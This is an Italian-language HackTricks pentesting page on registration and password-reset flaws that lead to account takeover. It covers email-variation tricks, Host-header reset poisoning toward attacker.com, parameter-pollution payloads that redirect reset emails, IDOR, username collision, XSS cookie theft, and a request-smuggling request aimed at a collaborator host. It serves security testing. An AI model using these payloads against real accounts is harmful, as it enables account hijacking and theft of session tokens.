hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-10 13:03:23 +00:00

9.8 KiB

Vulnerabilità di registrazione e takeover

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Takeover di registrazione

Registrazione duplicata

  • Prova a generare utilizzando un nome utente esistente
  • Verifica la variazione dell'email:
  • maiuscole
  • +1@
  • aggiungi qualche punto nell'email
  • caratteri speciali nel nome dell'email (%00, %09, %20)
  • Metti caratteri neri dopo l'email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumerazione degli username

Verifica se puoi capire quando un nome utente è già stato registrato nell'applicazione.

Politica delle password

Creando un utente, verifica la politica delle password (verifica se puoi utilizzare password deboli).
In tal caso, potresti provare a forzare le credenziali.

SQL Injection

Controlla questa pagina per imparare come tentare il takeover dell'account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.

Takeover di Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilità di SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Cambio email

Quando ti registri, prova a cambiare l'email e verifica se questa modifica viene correttamente convalidata o se puoi cambiarla in email arbitrarie.

Altri controlli

  • Verifica se puoi utilizzare email usa e getta
  • Password lunga (>200) porta a DoS
  • Verifica i limiti di velocità sulla creazione dell'account
  • Utilizza username@burp_collab.net e analizza il callback

Takeover del reset della password

Fuga del token di reset della password tramite referrer

  1. Richiedi il reset della password al tuo indirizzo email
  2. Fai clic sul link di reset della password
  3. Non cambiare la password
  4. Fai clic su qualsiasi sito di terze parti (ad esempio: Facebook, Twitter)
  5. Intercepisci la richiesta in Burp Suite proxy
  6. Verifica se l'intestazione referer sta rivelando il token di reset della password.

Avvelenamento del reset della password

  1. Intercepisci la richiesta di reset della password in Burp Suite
  2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Inoltra la richiesta con l'intestazione modificata
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Cerca un URL di reset della password basato sull'intestazione host come: https://attacker.com/reset-password.php?token=TOKEN

Reset della password tramite parametro email

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR sui parametri API

  1. L'attaccante deve effettuare il login con il proprio account e accedere alla funzione Cambia password.
  2. Avviare Burp Suite e intercettare la richiesta.
  3. Inviare la richiesta alla scheda repeater e modificare i parametri: ID utente/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token di reset password debole

Il token di reset password dovrebbe essere generato casualmente e unico ogni volta.
Cerca di determinare se il token scade o se è sempre lo stesso, in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.

  • Timestamp
  • ID utente
  • Email dell'utente
  • Nome e cognome
  • Data di nascita
  • Crittografia
  • Solo numeri
  • Sequenza di token breve (caratteri tra [A-Z,a-z,0-9])
  • Riutilizzo del token
  • Data di scadenza del token

Divulgazione del token di reset password

  1. Genera una richiesta di reset password utilizzando l'API/UI per un'email specifica, ad esempio: test@mail.com
  2. Ispeziona la risposta del server e controlla il campo resetToken
  3. Utilizza quindi il token in un URL come https://example.com/v3/user/password/reset?resetToken=[IL_RESET_TOKEN]&email=[LA_MAIL]

Reset password tramite collisione di username

  1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente, ad esempio: "admin "
  2. Richiedi un reset password con il tuo nome utente malevolo.
  3. Utilizza il token inviato alla tua email e reimposta la password della vittima.
  4. Accedi all'account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
Vedi: CVE-2020-7245

Takeover dell'account tramite Cross Site Scripting

  1. Trova una XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: *.domain.com
  2. Divulga il cookie di sessione corrente.
  3. Autenticati come l'utente utilizzando il cookie.

Takeover dell'account tramite HTTP Request Smuggling

1. Utilizza smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà POST / HTTP/1.1 con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X: con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie
3. La richiesta finale potrebbe assomigliare alla seguente

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

I report di Hackerone che sfruttano questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover tramite CSRF

  1. Creare un payload per il CSRF, ad esempio: "Modulo HTML con invio automatico per il cambio password"
  2. Inviare il payload

Account Takeover tramite JWT

Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.

  • Modificare il JWT con un altro ID utente / Email
  • Verificare la firma debole del JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: